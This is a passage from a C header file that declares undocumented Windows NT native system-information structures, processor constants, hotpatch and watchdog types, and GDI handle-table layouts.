_SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX { PVOID Object; ULONG UniqueProcessId; ULONG HandleValue; ULONG GrantedAccess; USHORT CreatorBackTraceIndex; USHORT ObjectTypeIndex; ULONG HandleAttributes; ULONG Reserved; } SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX; typedef struct _SYSTEM_HANDLE_INFORMATION_EX { ULONG NumberOfHandles; ULONG Reserved; struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[ 1 ]; } SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX; typedef struct _SYSTEM_SPECIAL_POOL_INFORMATION { ULONG PoolTag; ULONG Flags; } SYSTEM_SPECIAL_POOL_INFORMATION, *PSYSTEM_SPECIAL_POOL_INFORMATION; typedef struct _SYSTEM_OBJECTTYPE_INFORMATION { ULONG NextEntryOffset; ULONG NumberOfObjects; ULONG NumberOfHandles; ULONG TypeIndex; ULONG InvalidAttributes; GENERIC_MAPPING GenericMapping; ULONG ValidAccessMask; ULONG PoolType; UCHAR SecurityRequired; UCHAR WaitableObject; UNICODE_STRING TypeName; } SYSTEM_OBJECTTYPE_INFORMATION, *PSYSTEM_OBJECTTYPE_INFORMATION; typedef struct _SYSTEM_HIBERFILE_INFORMATION { ULONG NumberOfMcbPairs; LARGE_INTEGER Mcb[ 1 ]; } SYSTEM_HIBERFILE_INFORMATION, *PSYSTEM_HIBERFILE_INFORMATION; typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION { BOOLEAN KernelDebuggerEnabled; BOOLEAN KernelDebuggerNotPresent; } SYSTEM_KERNEL_DEBUGGER_INFORMATION, *PSYSTEM_KERNEL_DEBUGGER_INFORMATION; typedef struct _SYSTEM_REGISTRY_QUOTA_INFORMATION { ULONG RegistryQuotaAllowed; ULONG RegistryQuotaUsed; SIZE_T PagedPoolSize; } SYSTEM_REGISTRY_QUOTA_INFORMATION, *PSYSTEM_REGISTRY_QUOTA_INFORMATION; typedef struct _SYSTEM_CONTEXT_SWITCH_INFORMATION { ULONG ContextSwitches; ULONG FindAny; ULONG FindLast; ULONG FindIdeal; ULONG IdleAny; ULONG IdleCurrent; ULONG IdleLast; ULONG IdleIdeal; ULONG PreemptAny; ULONG PreemptCurrent; ULONG PreemptLast; ULONG SwitchToIdle; } SYSTEM_CONTEXT_SWITCH_INFORMATION, *PSYSTEM_CONTEXT_SWITCH_INFORMATION; typedef struct _SYSTEM_SESSION_MAPPED_VIEW_INFORMATION { SIZE_T NextEntryOffset; ULONG SessionId; ULONG ViewFailures; SIZE_T NumberOfBytesAvailable; SIZE_T NumberOfBytesAvailableContiguous; } SYSTEM_SESSION_MAPPED_VIEW_INFORMATION, *PSYSTEM_SESSION_MAPPED_VIEW_INFORMATION; typedef struct _SYSTEM_INTERRUPT_INFORMATION { ULONG ContextSwitches; ULONG DpcCount; ULONG DpcRate; ULONG TimeIncrement; ULONG DpcBypassCount; ULONG ApcBypassCount; } SYSTEM_INTERRUPT_INFORMATION, *PSYSTEM_INTERRUPT_INFORMATION; typedef struct _SYSTEM_DPC_BEHAVIOR_INFORMATION { ULONG Spare; ULONG DpcQueueDepth; ULONG MinimumDpcRate; ULONG AdjustDpcThreshold; ULONG IdealDpcRate; } SYSTEM_DPC_BEHAVIOR_INFORMATION, *PSYSTEM_DPC_BEHAVIOR_INFORMATION; typedef struct _SYSTEM_LOOKASIDE_INFORMATION { USHORT CurrentDepth; USHORT MaximumDepth; ULONG TotalAllocates; ULONG AllocateMisses; ULONG TotalFrees; ULONG FreeMisses; ULONG Type; ULONG Tag; ULONG Size; } SYSTEM_LOOKASIDE_INFORMATION, *PSYSTEM_LOOKASIDE_INFORMATION; typedef struct _SYSTEM_LEGACY_DRIVER_INFORMATION { ULONG VetoType; UNICODE_STRING VetoList; } SYSTEM_LEGACY_DRIVER_INFORMATION, *PSYSTEM_LEGACY_DRIVER_INFORMATION; typedef struct _SYSTEM_VDM_INSTEMUL_INFO { ULONG SegmentNotPresent; ULONG VdmOpcode0F; ULONG OpcodeESPrefix; ULONG OpcodeCSPrefix; ULONG OpcodeSSPrefix; ULONG OpcodeDSPrefix; ULONG OpcodeFSPrefix; ULONG OpcodeGSPrefix; ULONG OpcodeOPER32Prefix; ULONG OpcodeADDR32Prefix; ULONG OpcodeINSB; ULONG OpcodeINSW; ULONG OpcodeOUTSB; ULONG OpcodeOUTSW; ULONG OpcodePUSHF; ULONG OpcodePOPF; ULONG OpcodeINTnn; ULONG OpcodeINTO; ULONG OpcodeIRET; ULONG OpcodeINBimm; ULONG OpcodeINWimm; ULONG OpcodeOUTBimm; ULONG OpcodeOUTWimm; ULONG OpcodeINB; ULONG OpcodeINW; ULONG OpcodeOUTB; ULONG OpcodeOUTW; ULONG OpcodeLOCKPrefix; ULONG OpcodeREPNEPrefix; ULONG OpcodeREPPrefix; ULONG OpcodeHLT; ULONG OpcodeCLI; ULONG OpcodeSTI; ULONG BopCount; } SYSTEM_VDM_INSTEMUL_INFO, *PSYSTEM_VDM_INSTEMUL_INFO; typedef struct _SYSTEM_TIMEOFDAY_INFORMATION { LARGE_INTEGER BootTime; LARGE_INTEGER CurrentTime; LARGE_INTEGER TimeZoneBias; ULONG TimeZoneId; ULONG Reserved; ULONGLONG BootTimeBias; ULONGLONG SleepTimeBias; } SYSTEM_TIMEOFDAY_INFORMATION, *PSYSTEM_TIMEOFDAY_INFORMATION; #if defined(_M_X64) typedef ULONG SYSINF_PAGE_COUNT; #else typedef SIZE_T SYSINF_PAGE_COUNT; #endif typedef struct _SYSTEM_BASIC_INFORMATION { ULONG Reserved; ULONG TimerResolution; ULONG PageSize; SYSINF_PAGE_COUNT NumberOfPhysicalPages; SYSINF_PAGE_COUNT LowestPhysicalPageNumber; SYSINF_PAGE_COUNT HighestPhysicalPageNumber; ULONG AllocationGranularity; ULONG_PTR MinimumUserModeAddress; ULONG_PTR MaximumUserModeAddress; ULONG_PTR ActiveProcessorsAffinityMask; CCHAR NumberOfProcessors; } SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION; typedef struct _SYSTEM_PROCESSOR_INFORMATION { USHORT ProcessorArchitecture; USHORT ProcessorLevel; USHORT ProcessorRevision; USHORT Reserved; ULONG ProcessorFeatureBits; } SYSTEM_PROCESSOR_INFORMATION, *PSYSTEM_PROCESSOR_INFORMATION; typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION { LARGE_INTEGER IdleTime; LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER DpcTime; // Checked Build LARGE_INTEGER InterruptTime; // Checked Build ULONG InterruptCount; } SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION; typedef struct _SYSTEM_PROCESSOR_IDLE_INFORMATION { ULONGLONG IdleTime; ULONGLONG C1Time; ULONGLONG C2Time; ULONGLONG C3Time; ULONG C1Transitions; ULONG C2Transitions; ULONG C3Transitions; ULONG Padding; } SYSTEM_PROCESSOR_IDLE_INFORMATION, *PSYSTEM_PROCESSOR_IDLE_INFORMATION; typedef struct _SYSTEM_NUMA_INFORMATION { ULONG HighestNodeNumber; ULONG Reserved; union { ULONG64 ActiveProcessorsAffinityMask[ 16 ]; ULONG64 AvailableMemory[ 16 ]; }; } SYSTEM_NUMA_INFORMATION, *PSYSTEM_NUMA_INFORMATION; #if !defined(_WINNT_) typedef enum _LOGICAL_PROCESSOR_RELATIONSHIP { RelationProcessorCore, RelationNumaNode, RelationCache, RelationProcessorPackage } LOGICAL_PROCESSOR_RELATIONSHIP; typedef enum _PROCESSOR_CACHE_TYPE { CacheUnified, CacheInstruction, CacheData, CacheTrace } PROCESSOR_CACHE_TYPE; #define CACHE_FULLY_ASSOCIATIVE 0xFF typedef struct _CACHE_DESCRIPTOR { BYTE Level; BYTE Associativity; WORD LineSize; DWORD Size; PROCESSOR_CACHE_TYPE Type; } CACHE_DESCRIPTOR, *PCACHE_DESCRIPTOR; typedef struct _SYSTEM_LOGICAL_PROCESSOR_INFORMATION { ULONG_PTR ProcessorMask; LOGICAL_PROCESSOR_RELATIONSHIP Relationship; union { struct { BYTE Flags; } ProcessorCore; struct { DWORD NodeNumber; } NumaNode; CACHE_DESCRIPTOR Cache; ULONGLONG Reserved[2]; }; } SYSTEM_LOGICAL_PROCESSOR_INFORMATION, *PSYSTEM_LOGICAL_PROCESSOR_INFORMATION; #define PROCESSOR_INTEL_386 386 #define PROCESSOR_INTEL_486 486 #define PROCESSOR_INTEL_PENTIUM 586 #define PROCESSOR_INTEL_IA64 2200 #define PROCESSOR_AMD_X8664 8664 #define PROCESSOR_MIPS_R4000 4000 // incl R4101 & R3910 for Windows CE #define PROCESSOR_ALPHA_21064 21064 #define PROCESSOR_PPC_601 601 #define PROCESSOR_PPC_603 603 #define PROCESSOR_PPC_604 604 #define PROCESSOR_PPC_620 620 #define PROCESSOR_HITACHI_SH3 10003 // Windows CE #define PROCESSOR_HITACHI_SH3E 10004 // Windows CE #define PROCESSOR_HITACHI_SH4 10005 // Windows CE #define PROCESSOR_MOTOROLA_821 821 // Windows CE #define PROCESSOR_SHx_SH3 103 // Windows CE #define PROCESSOR_SHx_SH4 104 // Windows CE #define PROCESSOR_STRONGARM 2577 // Windows CE - 0xA11 #define PROCESSOR_ARM720 1824 // Windows CE - 0x720 #define PROCESSOR_ARM820 2080 // Windows CE - 0x820 #define PROCESSOR_ARM920 2336 // Windows CE - 0x920 #define PROCESSOR_ARM_7TDMI 70001 // Windows CE #define PROCESSOR_OPTIL 0x494f // MSIL #define PROCESSOR_ARCHITECTURE_INTEL 0 #define PROCESSOR_ARCHITECTURE_MIPS 1 #define PROCESSOR_ARCHITECTURE_ALPHA 2 #define PROCESSOR_ARCHITECTURE_PPC 3 #define PROCESSOR_ARCHITECTURE_SHX 4 #define PROCESSOR_ARCHITECTURE_ARM 5 #define PROCESSOR_ARCHITECTURE_IA64 6 #define PROCESSOR_ARCHITECTURE_ALPHA64 7 #define PROCESSOR_ARCHITECTURE_MSIL 8 #define PROCESSOR_ARCHITECTURE_AMD64 9 #define PROCESSOR_ARCHITECTURE_IA32_ON_WIN64 10 #define PROCESSOR_ARCHITECTURE_UNKNOWN 0xFFFF #define PF_FLOATING_POINT_PRECISION_ERRATA 0 #define PF_FLOATING_POINT_EMULATED 1 #define PF_COMPARE_EXCHANGE_DOUBLE 2 #define PF_MMX_INSTRUCTIONS_AVAILABLE 3 #define PF_PPC_MOVEMEM_64BIT_OK 4 #define PF_ALPHA_BYTE_INSTRUCTIONS 5 #define PF_XMMI_INSTRUCTIONS_AVAILABLE 6 #define PF_3DNOW_INSTRUCTIONS_AVAILABLE 7 #define PF_RDTSC_INSTRUCTION_AVAILABLE 8 #define PF_PAE_ENABLED 9 #define PF_XMMI64_INSTRUCTIONS_AVAILABLE 10 #define PF_SSE_DAZ_MODE_AVAILABLE 11 #define PF_NX_ENABLED 12 #define PF_SSE3_INSTRUCTIONS_AVAILABLE 13 #define PF_COMPARE_EXCHANGE128 14 #define PF_COMPARE64_EXCHANGE128 15 #define PF_CHANNELS_ENABLED 16 typedef struct _MEMORY_BASIC_INFORMATION { PVOID BaseAddress; PVOID AllocationBase; DWORD AllocationProtect; SIZE_T RegionSize; DWORD State; DWORD Protect; DWORD Type; } MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION; #endif /*_WINNT_*/ typedef struct _SYSTEM_PROCESSOR_POWER_INFORMATION { UCHAR CurrentFrequency; UCHAR ThermalLimitFrequency; UCHAR ConstantThrottleFrequency; UCHAR DegradedThrottleFrequency; UCHAR LastBusyFrequency; UCHAR LastC3Frequency; UCHAR LastAdjustedBusyFrequency; UCHAR ProcessorMinThrottle; UCHAR ProcessorMaxThrottle; ULONG NumberOfFrequencies; ULONG PromotionCount; ULONG DemotionCount; ULONG ErrorCount; ULONG RetryCount; ULONG64 CurrentFrequencyTime; ULONG64 CurrentProcessorTime; ULONG64 CurrentProcessorIdleTime; ULONG64 LastProcessorTime; ULONG64 LastProcessorIdleTime; } SYSTEM_PROCESSOR_POWER_INFORMATION, *PSYSTEM_PROCESSOR_POWER_INFORMATION; typedef struct _SYSTEM_QUERY_TIME_ADJUST_INFORMATION { ULONG TimeAdjustment; ULONG TimeIncrement; BOOLEAN Enable; } SYSTEM_QUERY_TIME_ADJUST_INFORMATION, *PSYSTEM_QUERY_TIME_ADJUST_INFORMATION; typedef struct _SYSTEM_SET_TIME_ADJUST_INFORMATION { ULONG TimeAdjustment; BOOLEAN Enable; } SYSTEM_SET_TIME_ADJUST_INFORMATION, *PSYSTEM_SET_TIME_ADJUST_INFORMATION; typedef struct _SYSTEM_PERFORMANCE_INFORMATION { LARGE_INTEGER IdleProcessTime; LARGE_INTEGER IoReadTransferCount; LARGE_INTEGER IoWriteTransferCount; LARGE_INTEGER IoOtherTransferCount; ULONG IoReadOperationCount; ULONG IoWriteOperationCount; ULONG IoOtherOperationCount; ULONG AvailablePages; SYSINF_PAGE_COUNT CommittedPages; SYSINF_PAGE_COUNT CommitLimit; SYSINF_PAGE_COUNT PeakCommitment; ULONG PageFaultCount; ULONG CopyOnWriteCount; ULONG TransitionCount; ULONG CacheTransitionCount; ULONG DemandZeroCount; ULONG PageReadCount; ULONG PageReadIoCount; ULONG CacheReadCount; ULONG CacheIoCount; ULONG DirtyPagesWriteCount; ULONG DirtyWriteIoCount; ULONG MappedPagesWriteCount; ULONG MappedWriteIoCount; ULONG PagedPoolPages; ULONG NonPagedPoolPages; ULONG PagedPoolAllocs; ULONG PagedPoolFrees; ULONG NonPagedPoolAllocs; ULONG NonPagedPoolFrees; ULONG FreeSystemPtes; ULONG ResidentSystemCodePage; ULONG TotalSystemDriverPages; ULONG TotalSystemCodePages; ULONG NonPagedPoolLookasideHits; ULONG PagedPoolLookasideHits; ULONG AvailablePagedPoolPages; ULONG ResidentSystemCachePage; ULONG ResidentPagedPoolPage; ULONG ResidentSystemDriverPage; ULONG CcFastReadNoWait; ULONG CcFastReadWait; ULONG CcFastReadResourceMiss; ULONG CcFastReadNotPossible; ULONG CcFastMdlReadNoWait; ULONG CcFastMdlReadWait; ULONG CcFastMdlReadResourceMiss; ULONG CcFastMdlReadNotPossible; ULONG CcMapDataNoWait; ULONG CcMapDataWait; ULONG CcMapDataNoWaitMiss; ULONG CcMapDataWaitMiss; ULONG CcPinMappedDataCount; ULONG CcPinReadNoWait; ULONG CcPinReadWait; ULONG CcPinReadNoWaitMiss; ULONG CcPinReadWaitMiss; ULONG CcCopyReadNoWait; ULONG CcCopyReadWait; ULONG CcCopyReadNoWaitMiss; ULONG CcCopyReadWaitMiss; ULONG CcMdlReadNoWait; ULONG CcMdlReadWait; ULONG CcMdlReadNoWaitMiss; ULONG CcMdlReadWaitMiss; ULONG CcReadAheadIos; ULONG CcLazyWriteIos; ULONG CcLazyWritePages; ULONG CcDataFlushes; ULONG CcDataPages; ULONG ContextSwitches; ULONG FirstLevelTbFills; ULONG SecondLevelTbFills; ULONG SystemCalls; } SYSTEM_PERFORMANCE_INFORMATION, *PSYSTEM_PERFORMANCE_INFORMATION; typedef struct _SYSTEM_PROCESS_INFORMATION { ULONG NextEntryOffset; ULONG NumberOfThreads; LARGE_INTEGER SpareLi1; LARGE_INTEGER SpareLi2; LARGE_INTEGER SpareLi3; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ImageName; KPRIORITY BasePriority; HANDLE UniqueProcessId; HANDLE InheritedFromUniqueProcessId; ULONG HandleCount; ULONG SessionId; ULONG_PTR PageDirectoryBase; SIZE_T PeakVirtualSize; SIZE_T VirtualSize; ULONG PageFaultCount; SIZE_T PeakWorkingSetSize; SIZE_T WorkingSetSize; SIZE_T QuotaPeakPagedPoolUsage; SIZE_T QuotaPagedPoolUsage; SIZE_T QuotaPeakNonPagedPoolUsage; SIZE_T QuotaNonPagedPoolUsage; SIZE_T PagefileUsage; SIZE_T PeakPagefileUsage; SIZE_T PrivatePageCount; LARGE_INTEGER ReadOperationCount; LARGE_INTEGER WriteOperationCount; LARGE_INTEGER OtherOperationCount; LARGE_INTEGER ReadTransferCount; LARGE_INTEGER WriteTransferCount; LARGE_INTEGER OtherTransferCount; } SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; typedef struct _SYSTEM_SESSION_PROCESS_INFORMATION { ULONG SessionId; ULONG SizeOfBuf; PVOID Buffer; } SYSTEM_SESSION_PROCESS_INFORMATION, *PSYSTEM_SESSION_PROCESS_INFORMATION; typedef struct _SYSTEM_MEMORY_INFO { PUCHAR StringOffset; USHORT ValidCount; USHORT TransitionCount; USHORT ModifiedCount; USHORT PageTableCount; } SYSTEM_MEMORY_INFO, *PSYSTEM_MEMORY_INFO; typedef struct _SYSTEM_MEMORY_INFORMATION { ULONG InfoSize; ULONG_PTR StringStart; SYSTEM_MEMORY_INFO Memory[ 1 ]; } SYSTEM_MEMORY_INFORMATION, *PSYSTEM_MEMORY_INFORMATION; typedef struct _SYSTEM_CALL_COUNT_INFORMATION { ULONG Length; ULONG NumberOfTables; } SYSTEM_CALL_COUNT_INFORMATION, *PSYSTEM_CALL_COUNT_INFORMATION; typedef struct _SYSTEM_DEVICE_INFORMATION { ULONG NumberOfDisks; ULONG NumberOfFloppies; ULONG NumberOfCdRoms; ULONG NumberOfTapes; ULONG NumberOfSerialPorts; ULONG NumberOfParallelPorts; } SYSTEM_DEVICE_INFORMATION, *PSYSTEM_DEVICE_INFORMATION; typedef struct _SYSTEM_FLAGS_INFORMATION { ULONG Flags; } SYSTEM_FLAGS_INFORMATION, *PSYSTEM_FLAGS_INFORMATION; typedef struct _SYSTEM_CALL_TIME_INFORMATION { ULONG Length; ULONG TotalCalls; LARGE_INTEGER TimeOfCalls[1]; } SYSTEM_CALL_TIME_INFORMATION, *PSYSTEM_CALL_TIME_INFORMATION; typedef struct _SYSTEM_OBJECT_INFORMATION { ULONG NextEntryOffset; PVOID Object; HANDLE CreatorUniqueProcess; USHORT CreatorBackTraceIndex; USHORT Flags; LONG PointerCount; LONG HandleCount; ULONG PagedPoolCharge; ULONG NonPagedPoolCharge; HANDLE ExclusiveProcessId; PVOID SecurityDescriptor; OBJECT_NAME_INFORMATION NameInfo; } SYSTEM_OBJECT_INFORMATION, *PSYSTEM_OBJECT_INFORMATION; typedef struct _SYSTEM_PAGEFILE_INFORMATION { ULONG NextEntryOffset; ULONG TotalSize; ULONG TotalInUse; ULONG PeakUsage; UNICODE_STRING PageFileName; } SYSTEM_PAGEFILE_INFORMATION, *PSYSTEM_PAGEFILE_INFORMATION; typedef struct _SYSTEM_VERIFIER_INFORMATION { ULONG NextEntryOffset; ULONG Level; UNICODE_STRING DriverName; ULONG RaiseIrqls; ULONG AcquireSpinLocks; ULONG SynchronizeExecutions; ULONG AllocationsAttempted; ULONG AllocationsSucceeded; ULONG AllocationsSucceededSpecialPool; ULONG AllocationsWithNoTag; ULONG TrimRequests; ULONG Trims; ULONG AllocationsFailed; ULONG AllocationsFailedDeliberately; ULONG Loads; ULONG Unloads; ULONG UnTrackedPool; ULONG CurrentPagedPoolAllocations; ULONG CurrentNonPagedPoolAllocations; ULONG PeakPagedPoolAllocations; ULONG PeakNonPagedPoolAllocations; SIZE_T PagedPoolUsageInBytes; SIZE_T NonPagedPoolUsageInBytes; SIZE_T PeakPagedPoolUsageInBytes; SIZE_T PeakNonPagedPoolUsageInBytes; } SYSTEM_VERIFIER_INFORMATION, *PSYSTEM_VERIFIER_INFORMATION; typedef struct _SYSTEM_VERIFIER_INFORMATION_EX { ULONG VerifyMode; ULONG OptionChanges; UNICODE_STRING PreviousBucketName; ULONG Reserved[ 4 ]; } SYSTEM_VERIFIER_INFORMATION_EX, *PSYSTEM_VERIFIER_INFORMATION_EX; #define MM_WORKING_SET_MAX_HARD_ENABLE 0x1 #define MM_WORKING_SET_MAX_HARD_DISABLE 0x2 #define MM_WORKING_SET_MIN_HARD_ENABLE 0x4 #define MM_WORKING_SET_MIN_HARD_DISABLE 0x8 typedef struct _SYSTEM_FILECACHE_INFORMATION { SIZE_T CurrentSize; SIZE_T PeakSize; ULONG PageFaultCount; SIZE_T MinimumWorkingSet; SIZE_T MaximumWorkingSet; SIZE_T CurrentSizeIncludingTransitionInPages; SIZE_T PeakSizeIncludingTransitionInPages; ULONG TransitionRePurposeCount; ULONG Flags; } SYSTEM_FILECACHE_INFORMATION, *PSYSTEM_FILECACHE_INFORMATION; #define FLG_HOTPATCH_KERNEL 0x80000000 #define FLG_HOTPATCH_RELOAD_NTDLL 0x40000000 #define FLG_HOTPATCH_NAME_INFO 0x20000000 #define FLG_HOTPATCH_RENAME_INFO 0x10000000 #define FLG_HOTPATCH_MAP_ATOMIC_SWAP 0x08000000 #define FLG_HOTPATCH_WOW64 0x04000000 #define FLG_HOTPATCH_ACTIVE 0x00000001 #define FLG_HOTPATCH_STATUS_FLAGS FLG_HOTPATCH_ACTIVE #define FLG_HOTPATCH_VERIFICATION_ERROR 0x00800000 typedef struct _HOTPATCH_HOOK_DESCRIPTOR { ULONG_PTR TargetAddress; PVOID MappedAddress; ULONG CodeOffset; ULONG CodeSize; ULONG OrigCodeOffset; ULONG ValidationOffset; ULONG ValidationSize; } HOTPATCH_HOOK_DESCRIPTOR, *PHOTPATCH_HOOK_DESCRIPTOR; typedef struct _SYSTEM_HOTPATCH_CODE_INFORMATION { ULONG Flags; ULONG InfoSize; union { struct { ULONG DescriptorsCount; HOTPATCH_HOOK_DESCRIPTOR CodeDescriptors[1]; // variable size structure } CodeInfo; struct { USHORT NameOffset; USHORT NameLength; } KernelInfo; struct { USHORT NameOffset; USHORT NameLength; USHORT TargetNameOffset; USHORT TargetNameLength; } UserModeInfo; struct { HANDLE FileHandle1; PIO_STATUS_BLOCK IoStatusBlock1; PFILE_RENAME_INFORMATION RenameInformation1; ULONG RenameInformationLength1; HANDLE FileHandle2; PIO_STATUS_BLOCK IoStatusBlock2; PFILE_RENAME_INFORMATION RenameInformation2; ULONG RenameInformationLength2; } RenameInfo; struct { HANDLE ParentDirectory; HANDLE ObjectHandle1; HANDLE ObjectHandle2; } AtomicSwap; }; } SYSTEM_HOTPATCH_CODE_INFORMATION, *PSYSTEM_HOTPATCH_CODE_INFORMATION; typedef struct _KERNEL_USER_TIMES { LARGE_INTEGER CreateTime; LARGE_INTEGER ExitTime; LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; } KERNEL_USER_TIMES; typedef KERNEL_USER_TIMES *PKERNEL_USER_TIMES; typedef enum _WATCHDOG_HANDLER_ACTION { WdActionSetTimeoutValue, WdActionQueryTimeoutValue, WdActionResetTimer, WdActionStopTimer, WdActionStartTimer, WdActionSetTriggerAction, WdActionQueryTriggerAction, WdActionQueryState, WdActionSleep, WdActionWake } WATCHDOG_HANDLER_ACTION; typedef enum _WATCHDOG_INFORMATION_CLASS { WdInfoTimeoutValue, WdInfoResetTimer, WdInfoStopTimer, WdInfoStartTimer, WdInfoTriggerAction, WdInfoState } WATCHDOG_INFORMATION_CLASS; typedef NTSTATUS (*PWD_HANDLER)( IN WATCHDOG_HANDLER_ACTION Action, IN PVOID Context, _Inout_ PULONG DataValue, IN BOOLEAN NoLocks ); typedef struct _SYSTEM_WATCHDOG_HANDLER_INFORMATION { PWD_HANDLER WdHandler; PVOID Context; } SYSTEM_WATCHDOG_HANDLER_INFORMATION, *PSYSTEM_WATCHDOG_HANDLER_INFORMATION; #define WDSTATE_FIRED 0x00000001 #define WDSTATE_HARDWARE_ENABLED 0x00000002 #define WDSTATE_STARTED 0x00000004 #define WDSTATE_HARDWARE_PRESENT 0x00000008 typedef struct _SYSTEM_WATCHDOG_TIMER_INFORMATION { WATCHDOG_INFORMATION_CLASS WdInfoClass; ULONG DataValue; } SYSTEM_WATCHDOG_TIMER_INFORMATION, *PSYSTEM_WATCHDOG_TIMER_INFORMATION; #define GDI_MAX_HANDLE_COUNT 0x4000 #define GDI_HANDLE_INDEX_SHIFT 0 #define GDI_HANDLE_INDEX_BITS 16 #define GDI_HANDLE_INDEX_MASK 0xffff #define GDI_HANDLE_TYPE_SHIFT 16 #define GDI_HANDLE_TYPE_BITS 5 #define GDI_HANDLE_TYPE_MASK 0x1f #define GDI_HANDLE_ALTTYPE_SHIFT 21 #define GDI_HANDLE_ALTTYPE_BITS 2 #define GDI_HANDLE_ALTTYPE_MASK 0x3 #define GDI_HANDLE_STOCK_SHIFT 23 #define GDI_HANDLE_STOCK_BITS 1 #define GDI_HANDLE_STOCK_MASK 0x1 #define GDI_HANDLE_UNIQUE_SHIFT 24 #define GDI_HANDLE_UNIQUE_BITS 8 #define GDI_HANDLE_UNIQUE_MASK 0xff #define GDI_HANDLE_INDEX(Handle) ((ULONG)(Handle) & GDI_HANDLE_INDEX_MASK) #define GDI_HANDLE_TYPE(Handle) (((ULONG)(Handle) >> GDI_HANDLE_TYPE_SHIFT) & GDI_HANDLE_TYPE_MASK) #define GDI_HANDLE_ALTTYPE(Handle) (((ULONG)(Handle) >> GDI_HANDLE_ALTTYPE_SHIFT) & GDI_HANDLE_ALTTYPE_MASK) #define GDI_HANDLE_STOCK(Handle) (((ULONG)(Handle) >> GDI_HANDLE_STOCK_SHIFT)) & GDI_HANDLE_STOCK_MASK) #define GDI_MAKE_HANDLE(Index, Unique) ((ULONG)(((ULONG)(Unique) << GDI_HANDLE_INDEX_BITS) | (ULONG)(Index))) // GDI server-side types #define GDI_DEF_TYPE 0 #define GDI_DC_TYPE 1 #define GDI_DD_DIRECTDRAW_TYPE 2 #define GDI_DD_SURFACE_TYPE 3 #define GDI_RGN_TYPE 4 #define GDI_SURF_TYPE 5 #define GDI_CLIENTOBJ_TYPE 6 #define GDI_PATH_TYPE 7 #define GDI_PAL_TYPE 8 #define GDI_ICMLCS_TYPE 9 #define GDI_LFONT_TYPE 10 #define GDI_RFONT_TYPE 11 #define GDI_PFE_TYPE 12 #define GDI_PFT_TYPE 13 #define GDI_ICMCXF_TYPE 14 #define GDI_ICMDLL_TYPE 15 #define GDI_BRUSH_TYPE 16 #define GDI_PFF_TYPE 17 // unused #define GDI_CACHE_TYPE 18 // unused #define GDI_SPACE_TYPE 19 #define GDI_DBRUSH_TYPE 20 // unused #define GDI_META_TYPE 21 #define GDI_EFSTATE_TYPE 22 #define GDI_BMFD_TYPE 23 // unused #define GDI_VTFD_TYPE 24 // unused #define GDI_TTFD_TYPE 25 // unused #define GDI_RC_TYPE 26 // unused #define GDI_TEMP_TYPE 27 // unused #define GDI_DRVOBJ_TYPE 28 #define GDI_DCIOBJ_TYPE 29 // unused #define GDI_SPOOL_TYPE 30 // GDI client-side types #define GDI_CLIENT_TYPE_FROM_HANDLE(Handle) ((ULONG)(Handle) & ((GDI_HANDLE_ALTTYPE_MASK << GDI_HANDLE_ALTTYPE_SHIFT) | \ (GDI_HANDLE_TYPE_MASK << GDI_HANDLE_TYPE_SHIFT))) #define GDI_CLIENT_TYPE_FROM_UNIQUE(Unique) GDI_CLIENT_TYPE_FROM_HANDLE((ULONG)(Unique) << 16) #define GDI_ALTTYPE_1 (1 << GDI_HANDLE_ALTTYPE_SHIFT) #define GDI_ALTTYPE_2 (2 << GDI_HANDLE_ALTTYPE_SHIFT) #define GDI_ALTTYPE_3 (3 << GDI_HANDLE_ALTTYPE_SHIFT) #define GDI_CLIENT_BITMAP_TYPE (GDI_SURF_TYPE << GDI_HANDLE_TYPE_SHIFT) #define GDI_CLIENT_BRUSH_TYPE (GDI_BRUSH_TYPE << GDI_HANDLE_TYPE_SHIFT) #define GDI_CLIENT_CLIENTOBJ_TYPE (GDI_CLIENTOBJ_TYPE << GDI_HANDLE_TYPE_SHIFT) #define GDI_CLIENT_DC_TYPE (GDI_DC_TYPE << GDI_HANDLE_TYPE_SHIFT) #define GDI_CLIENT_FONT_TYPE (GDI_LFONT_TYPE << GDI_HANDLE_TYPE_SHIFT) #define GDI_CLIENT_PALETTE_TYPE (GDI_PAL_TYPE << GDI_HANDLE_TYPE_SHIFT) #define GDI_CLIENT_REGION_TYPE (GDI_RGN_TYPE << GDI_HANDLE_TYPE_SHIFT) #define GDI_CLIENT_ALTDC_TYPE (GDI_CLIENT_DC_TYPE | GDI_ALTTYPE_1) #define GDI_CLIENT_DIBSECTION_TYPE (GDI_CLIENT_BITMAP_TYPE | GDI_ALTTYPE_1) #define GDI_CLIENT_EXTPEN_TYPE (GDI_CLIENT_BRUSH_TYPE | GDI_ALTTYPE_2) #define GDI_CLIENT_METADC16_TYPE (GDI_CLIENT_CLIENTOBJ_TYPE | GDI_ALTTYPE_3) #define GDI_CLIENT_METAFILE_TYPE (GDI_CLIENT_CLIENTOBJ_TYPE | GDI_ALTTYPE_2) #define GDI_CLIENT_METAFILE16_TYPE (GDI_CLIENT_CLIENTOBJ_TYPE | GDI_ALTTYPE_1) #define GDI_CLIENT_PEN_TYPE (GDI_CLIENT_BRUSH_TYPE | GDI_ALTTYPE_1) typedef struct _GDI_HANDLE_ENTRY { union { PVOID Object; PVOID NextFree; }; union { struct { USHORT ProcessId; USHORT Lock : 1; USHORT Count : 15; }; ULONG Value; } Owner; USHORT Unique; UCHAR Type; UCHAR Flags; PVOID UserPointer; } GDI_HANDLE_ENTRY, *PGDI_HANDLE_ENTRY; typedef struct _GDI_SHARED_MEMORY { GDI_HANDLE_ENTRY Handles[GDI_MAX_HANDLE_COUNT]; } GDI_SHARED_MEMORY, *PGDI_SHARED_MEMORY; #define FLS_MAXIMUM_AVAILABLE 128 #define TLS_MINIMUM_AVAILABLE 64 